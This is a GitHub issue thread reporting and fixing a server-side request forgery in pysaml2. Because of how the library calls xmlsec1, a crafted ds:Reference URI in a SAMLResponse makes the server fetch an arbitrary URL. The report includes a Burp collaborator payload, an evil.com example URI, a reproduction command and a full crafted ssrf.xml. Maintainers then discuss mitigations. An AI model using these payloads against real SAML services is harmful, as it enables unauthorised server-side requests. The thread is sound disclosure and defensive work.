SSRF from `URI` attribute in `SAMLResponse`
Howdy y'all, been tracking down the root cause of another SSRF reported by a client. Lots of SAML is new to me so please feel free to be critical!
Code Version
pysaml2 = 4.5.0
xmlsec1 = 1.2.25
Expected Behavior
pysaml2 should not make arbitrary http calls.
Current Behavior
A Burp scan reported the following:
Issue: External service interaction (HTTP)
Path: /saml/sso/okta/
Issue detail
It is possible to induce the application to perform server-side HTTP requests to arbitrary domains.
The payload http://9kukx3fprxyfcbyfnkcie63gu708oycw4ju6lw9l.burpcollaborator.net?#id117178283225551701714676244 was submitted in the URI XML attribute, within the Base64-decoded value of the SAMLResponse parameter.
The application performed an HTTP request to the specified domain.
I encountered SSRF recently (https://github.com/IdentityPython/pysaml2/issues/508) because of an outdated xmlsec1. In this case, however, it occurred with an up-to-date pysaml2 (4.5.0) and xmlsec1 (1.2.25).
The SSRF occurs in the URI field of the ds:Reference node of a SAML response. Normally, these look like this:
<ds:Reference URI="#id117178283225551701714676244">
but you can change them to something like this:
<ds:Reference URI="http://www.evil.com/uhoh?#id117178283225551701714676244">
and the URI will be resolved internally.
The pysaml2 method that triggers the SSRF is parse_authn_request_response. I tracked down the root cause to the call out to xmlsec1 --verify.
Possible Solution
There appears to be a simple fix. There is a flag --enabled-reference-uris in xmlsec1 that prevents this.
--enabled-reference-uris <list>
comma separated list of of the following values:
"empty", "same-doc", "local","remote" to restrict possible URI
attribute values for the <dsig:Reference> element
Setting it to same-doc no longer triggers an SSRF.
I think this would a one-line fix in sigver.py:validate_signature.
Steps to Reproduce
Here is a command to replicate the SSRF:
xmlsec1 --verify --pubkey-cert-pem cert.pem --id-attr:ID urn:oasis:names:tc:SAML:2.0:protocol:Response --node-id id13006418945800911522578705 --output foo.xml ssrf.xml
Run a local web server to see the request. e.g.
python3 -m http.server
The files cert.pem and ssrf.py are pasted below. They're intercepted from an authentication flow on a local Flask app created by following Okta's pysaml2 tutorial.
You can tweak the URI in ssrf.xml (grep for localhost).
cert.pem
-----BEGIN CERTIFICATE-----
MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9
-----END CERTIFICATE-----
ssrf.xml
<?xml version="1.0" encoding="UTF-8"?><saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:5000/saml/sso/example-okta-com" ID="id13006418945800911522578705" InResponseTo="id-oKQEk3ORAkDv4zi2c" IssueInstant="2018-06-16T00:35:14.241Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">http://www.okta.com/exkfhm6ik8yNzY33b0h7</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="http://localhost:8000/uhoh?#id13006418945800911522578705"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xs"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>yukVDz+mAUx0MDDQczU8r9O0WT/9UgQAlzgMv9lGbcE=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mKAPrbhHzIzTeuyBKYnuW/gYOKQm4ys+8pMIu0a3BiM8hJ7nyGkH9m/OHwykpYf974o4oaM/5Oeo4d+t+lz7kkvae8WukRmqpXn/HdKKetAvUGyYsXADZQODxrsuF/lHlDZsjukTbwC/2zvCqbrPYTba58FJSpSyaVXV5O4AM/WLA+9B4EAqZe9K/htoERh38lgjauGPLoYJ/69qzJ9QMmyYptD8gJZlh1EjyVyDI2ReUbWYT6GQrT8/jnRacJP0gA1UMtS7G9IT/HRqBC25Co+gvKa82ddsGJuv81FFn0pNztokXCudrloJKAAyMNZ9YWP4pM76ECm1+dS3nucFoA==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"><saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></saml2p:Status><saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id13006418946048531513586761" IssueInstant="2018-06-16T00:35:14.241Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">http://www.okta.com/exkfhm6ik8yNzY33b0h7</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id13006418946048531513586761"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xs"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>y7rrzPTUGqzMCBOA6m9rqPoMcWV4NqydgctJelO3BtI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>fHzgiqlCg2hgtx12hRuyr3/ZuHIXlhTue74+w3n1Wv9SeBGp9qyGOiSqfPhFAVoznIdlPlh0dL+8DDnBzqEN1gr9wb3yMRaFI2dBxqCzvfZfHzG9PFy+BIHutujtt9IK3m0eGGtge/FhXhfX1GB3htJOQlfeH8vPfREnsFkcHuiWcd2R7abmu05SCVjfaAHjgmR7uVWyGapl46YmSn2n5w9hQnoIw+uKSAebCRnmYD+HB1YCn4kHrdQxfG0bwg2/31morNS2x87TfY3+6QGoeXqFrBSlAFt6XNHCPBi5CpGTNkhcL5IVKYBZrwKmIiMdJ2X16F0YQWO8GNbFjcCx0g==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData InResponseTo="id-oKQEk3ORAkDv4zi2c" NotOnOrAfter="2018-06-16T00:40:14.241Z" Recipient="http://localhost:5000/saml/sso/example-okta-com"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions NotBefore="2018-06-16T00:30:14.241Z" NotOnOrAfter="2018-06-16T00:40:14.241Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>http://localhost:5000/saml/sso/example-okta-com</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2018-06-16T00:24:55.527Z" SessionIndex="id-oKQEk3ORAkDv4zi2c" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Attribute Name="FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Marc</saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Pare</saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">[email protected]</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion></saml2p:Response>
Excellent report. Thanks!
This is indeed a problem. I will push the fix first thing in the morning.
Nice find @marcpare ! I took a look at opensaml for this and they're not vulnerable since they have explicit validation for (among other things) signatures.
I was wondering if we should consider adding a layer of validation in pysaml2 for certain elements, conditions instead of only relying on underlying libraries. Thoughts @c00kiemon5ter ?
@jkakavas yes, we should. This is one of the things I want to do, and it should be part of the type system - ie, our Reference type should be making sure it is representing a valid (as we define) node. (In this particular case it is Signature node that will impose that policy on its Reference child.) Validation should take place at the very start of the process, where we receive data, parse them and represent them with an object. In pysaml2 some things work that way, while others pass around an xml string that needs to be parsed or modified in place; this should change and hopefully will in the near future.
This issue is also described in the XML Signature Best Practices document. We should make a check list of that.
I think both empty and same-doc should be fine:
xmlsec1 --enabled-reference-uris empty,same-doc ...
Quoting the XML Signature Syntax and Processing document:
If the
URIattribute is omitted altogether, the receiving application is expected to know the identity of the object. For example, a lightweight data protocol might omit this attribute given the identity of the object is part of the application context. This attribute may be omitted from at most oneReferencein any particularSignedInfo, orManifest.
I am reopening this, as there are more places where the xmlsec1 executable is called. We need to make sure that those calls do not try to reach the network.
Interesting, yes with a customized apparmor profile. Something like:
/usr/local/bin/xmlsec1 {
...
# block ipv4 acces
deny network inet,
# ipv6
deny network inet6,
# raw socket
deny network raw,
}
ah, I think that would be useful to compile xmlsec1 from sources (and disable these kind of feature directly in configuration ...)
I am reopening this, as there are more places where the
xmlsec1executable is called. We need to make sure that those calls do not try to reach the network.
Actually I can see https://github.com/IdentityPython/pysaml2/blob/1aeae3ae565e02f863a26b2893354d048a7abff8/src/saml2/sigver.py#L858
we should also check in request and response methods. That wouldn't be too heavy
Seeing that xmlsec1 also has a similar option --enabled-cipher-reference-uris, I wonder if this issue can also be achieve by taking advantage of the CipherReference element and its URI attribute